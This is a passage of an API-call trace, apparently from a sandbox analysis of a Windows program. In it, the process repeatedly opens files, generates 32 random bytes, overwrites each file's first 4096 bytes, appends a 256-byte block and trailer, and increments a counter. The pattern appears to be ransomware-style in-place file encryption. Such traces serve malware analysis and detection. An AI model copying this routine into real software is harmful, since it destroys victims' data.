lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.077] GetProcessHeap () returned 0x540000 [0085.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.078] GetProcessHeap () returned 0x540000 [0085.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.078] GetProcessHeap () returned 0x540000 [0085.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.079] GetProcessHeap () returned 0x540000 [0085.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.080] GetProcessHeap () returned 0x540000 [0085.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.081] GetProcessHeap () returned 0x540000 [0085.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.081] GetProcessHeap () returned 0x540000 [0085.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.081] GetProcessHeap () returned 0x540000 [0085.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.081] GetProcessHeap () returned 0x540000 [0085.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.081] GetProcessHeap () returned 0x540000 [0085.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.081] GetProcessHeap () returned 0x540000 [0085.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.081] GetProcessHeap () returned 0x540000 [0085.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.081] GetProcessHeap () returned 0x540000 [0085.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.081] SetFilePointerEx (in: hFile=0x8ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.081] WriteFile (in: hFile=0x8ac, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.081] WriteFile (in: hFile=0x8ac, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.081] GetProcessHeap () returned 0x540000 [0085.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.081] GetProcessHeap () returned 0x540000 [0085.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.081] GetProcessHeap () returned 0x540000 [0085.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.081] CloseHandle (hObject=0x8ac) returned 1 [0085.083] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 77 [0085.083] SetFilePointerEx (in: hFile=0x8b0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.083] ReadFile (in: hFile=0x8b0, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.083] SetFilePointerEx (in: hFile=0x8b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.083] GetProcessHeap () returned 0x540000 [0085.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.083] GetProcessHeap () returned 0x540000 [0085.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.083] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.083] GetProcessHeap () returned 0x540000 [0085.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.083] ReadFile (in: hFile=0x8b0, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.133] SetFilePointerEx (in: hFile=0x8b0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.133] WriteFile (in: hFile=0x8b0, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.133] GetProcessHeap () returned 0x540000 [0085.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.133] GetProcessHeap () returned 0x540000 [0085.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.134] GetProcessHeap () returned 0x540000 [0085.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.134] GetProcessHeap () returned 0x540000 [0085.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.135] GetProcessHeap () returned 0x540000 [0085.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.136] GetProcessHeap () returned 0x540000 [0085.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.136] GetProcessHeap () returned 0x540000 [0085.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.137] GetProcessHeap () returned 0x540000 [0085.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.137] GetProcessHeap () returned 0x540000 [0085.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.137] GetProcessHeap () returned 0x540000 [0085.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.137] GetProcessHeap () returned 0x540000 [0085.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.137] GetProcessHeap () returned 0x540000 [0085.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.137] GetProcessHeap () returned 0x540000 [0085.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.137] GetProcessHeap () returned 0x540000 [0085.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.137] GetProcessHeap () returned 0x540000 [0085.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.137] GetProcessHeap () returned 0x540000 [0085.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.137] GetProcessHeap () returned 0x540000 [0085.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.137] GetProcessHeap () returned 0x540000 [0085.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.137] SetFilePointerEx (in: hFile=0x8b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.137] WriteFile (in: hFile=0x8b0, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.137] WriteFile (in: hFile=0x8b0, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.138] GetProcessHeap () returned 0x540000 [0085.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.138] GetProcessHeap () returned 0x540000 [0085.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.138] GetProcessHeap () returned 0x540000 [0085.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.138] CloseHandle (hObject=0x8b0) returned 1 [0085.139] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 78 [0085.139] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.139] ReadFile (in: hFile=0x8b4, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.139] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.139] GetProcessHeap () returned 0x540000 [0085.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.139] GetProcessHeap () returned 0x540000 [0085.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.139] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.139] GetProcessHeap () returned 0x540000 [0085.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.139] ReadFile (in: hFile=0x8b4, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.187] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.187] WriteFile (in: hFile=0x8b4, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.187] GetProcessHeap () returned 0x540000 [0085.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.187] GetProcessHeap () returned 0x540000 [0085.187] 